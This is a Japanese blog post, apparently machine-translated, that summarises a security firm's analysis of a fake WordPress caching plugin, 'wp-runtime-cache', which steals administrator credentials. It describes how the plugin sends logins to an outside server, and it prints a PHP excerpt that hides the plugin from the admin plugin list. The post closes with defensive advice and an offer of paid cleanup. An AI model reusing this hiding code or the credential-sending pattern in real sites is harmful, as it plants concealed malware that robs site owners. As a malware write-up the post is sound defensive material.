WordPressはセキュリティに強いですが、アップデートを無視したり、セキュリティの脆弱性がある WordPress バージョン、テーマ、プラグインを使用している場合は、サイトがマルウェアに感染したりハッキングされたりする可能性があります。
最近では、通常のプラグインに偽装して管理者アカウントを奪取するマルウェアが増加する傾向があります。しばらく前に、セキュリティ専門家であるWordfenceはブログ記事を通じて合法的です WordPress プラグインで偽装するマルウェアについて公開しました。
有名なセキュリティ専門会社であるSucuriは 偽 WordPress キャッシング Plugin Used to Steal Admin Credentialsというブログ記事で関係者のアカウント情報を奪う偽 WordPress キャッシュプラグインのケースを紹介しました。この記事では、キャッシュプラグインを詐称したマルウェアや対応方法などについて説明します。

WordPress キャッシュプラグインの詐欺マルウェア注意 - 管理者アカウントの消臭ケース
マルウェアに感染すると、奇妙な名前のファイルやフォルダがサーバーに作成されていることがよくあります。

そして、サイトが遅くなる可能性があり、奇妙なポップアップが表示されたり、スパムサイトにリダイレクトが頻繁に発生します。
過去にはマルウェアに感染すると奇妙な名前のプラグインがインストールされていることがよくありましたが、近年はもっともらしい名前で正常なプラグインを偽装する傾向に変わっているようです。
Sucuriが公開した「wp-runtime-cache」プラグインの渋滞
Sucuriは、ブログ記事を介してキャッシュプラグインを詐称したマルウェアのケースを公開しました。
WordPress セキュリティスキャン中 WP-コンテンツ/plugins ディレクトリから wp-runtime-cacheというプラグインが見つかったという。一般的なキャッシュプラグインのように見えますが、このプラグインにはいくつかの奇妙な点がありました。
- 設定メニューなし:通常のキャッシュプラグインとは異なり、管理者ページ(WordPress お知らせ)には関連メニューがありません。
- インストールプラグインのリストから非露出: 管理画面のインストール済みプラグインリストには、対応するプラグインが表示されません。
- 単一ファイル構造: wp-runtime-cache.php ファイルは1つだけ存在し、通常のプラグインのように複数のファイルを含めない
- 基本情報なし:プラグインの説明、作成者、ウェブサイトの情報がすべて空です
- base64エンコーディングと乱数型変数の使用:一般的なプラグインでは見づらい難読化技術を使用。
WordPress キャッシュプラグインの場合、インストールすると管理者ページに設定メニューが追加されます。たとえば、 LiteSpeedキャッシュという人気 WordPress キャッシュプラグインの例です。有効にすると、図のようにLiteSpeed Cacheメニューが設定の下に追加され、詳細な設定ができます。

キャッシュプラグインですが、これらの設定メニューがない場合は疑問に思う必要があります。
さらに、マルウェアプラグインの特徴の1つは、管理者ページのプラグインリストにそのプラグインが表示されないことです。これは最近のトレンドのようです。以前は、マルウェアプラグインはプラグインがリストに表示されることが多かったのですが、最近は管理者ページに表示されないように隠す傾向です。
プラグインやテーマファイルにbase64エンコーディングが使用されている場合は、マルウェアとして疑うことができます。
内部の仕組み:管理者ログイン情報の消臭
そのプラグインはログイン時に WordPress フックイン wp_loginに octopusJson50286 という関数を連結して、次のようにします。
- ユーザー名と役割の収集
- ユーザーロールチェック:base64でエンコードされた値(manage_options、edit_pages)で、管理者か編集者(Editor)かを判断する
- 管理者/編集者の場合のデータ転送:ユーザー情報(ID、パスワードなど)を外部サーバー(https://woocommerce-check[.]com/report-to)にwp_remote_post()で送信
WordPress 組み込み機能を悪用して正常な関数のように偽装した攻撃です。
マルウェアの例:
function pbes2PITR0339C()
{
global $current_user;
$username = $current_user->user_login;
if ($username == detachConcurrency0788()) {
return;
}
if (!is_plugin_active('wp-runtime-cache/wp-runtime-cache.php')) {
return;
}
global $wp_list_table;
$hidearr = array('wp-runtime-cache/wp-runtime-cache.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key, $hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
function detachConcurrency0788()
{
$sa = 'WsXZjIFxgnLnC5V';
$s = get_site_url(null, '', 'https');
return substr(hash('sha256', $s.$sa), -8);
}
Sucuriが公開したコードの例です。上記のコードは WordPress 管理者ページ画面で該当悪意のあるプラグインを隠すためのロジックになっています。
上記のコードでは、pbes2PITR0339C()関数がwp-runtime-cache / wp-runtime-cache.phpというプラグインをプラグインリストから非表示にする機能をします。
対処と予防方法
WordPress、テーマ、プラグインを常に最新バージョンに更新して最新の状態に保つことが重要です。また、定期的に バックアップバックアップをPCやクラウドストレージに保存するのは安全です。
公式のプラグインで偽装してインストールされた悪意のあるプラグインを検出するためには...
- 定期的にプラグインのリストを確認し、
- FTP / SFTP経由でサーバーに接続し、実際のディレクトリにインストールされていない奇妙なプラグインが存在しないことを確認することをお勧めします。
また、ユーザーリストに奇妙な管理者がいることを確認してください。場合によっては、ユーザーリストに悪意のあるユーザーが表示されないことがあります。そのような場合 phpMyAdminの などDBクライアントツールを使用してデータベースに接続して、ユーザーのリストを確認できます。
最後に、
WordPress サイトがマルウェアに感染し、堕落を見ている人によく遭遇します。基本的なセキュリティ慣行に従うことで、安全にサイトを運営できます。
- WordPress コア、テーマ、プラグインを最新バージョンにアップデート
- 長時間更新できないプラグインは削除
- セキュリティの脆弱性が発見されたテーマやプラグインは、最新バージョンに即座に更新するか(アップデートがない場合)、削除
- 定期的なバックアップ
- セキュリティプラグインのインストール
プラグインは可能な限り必要なものだけをインストールして運用することが望ましいです。

クラウドウェイズを使用している場合は、定期的にサイトをスキャンしてセキュリティの脆弱性が発見された WordPress コア、テーマ、プラグインを使用している場合は、警告メールを送信します。たとえば、最近CrawlomaticとAuto Spinnerというプラグインがセキュリティの脆弱性を発見し、最新バージョンにアップデートされました。私のブログの1つにこれら2つのプラグインがインストールされていました。WordPress CrawlomaticおよびAuto Spinnerプラグインのセキュリティ脆弱性を発見"参照)。
👉 WordPress マルウェア感染を含む WordPress またはWebホスティング関連の問題で解決するのが難しい場合 ここでサービス(有料)をご依頼することができます。
コメントを残す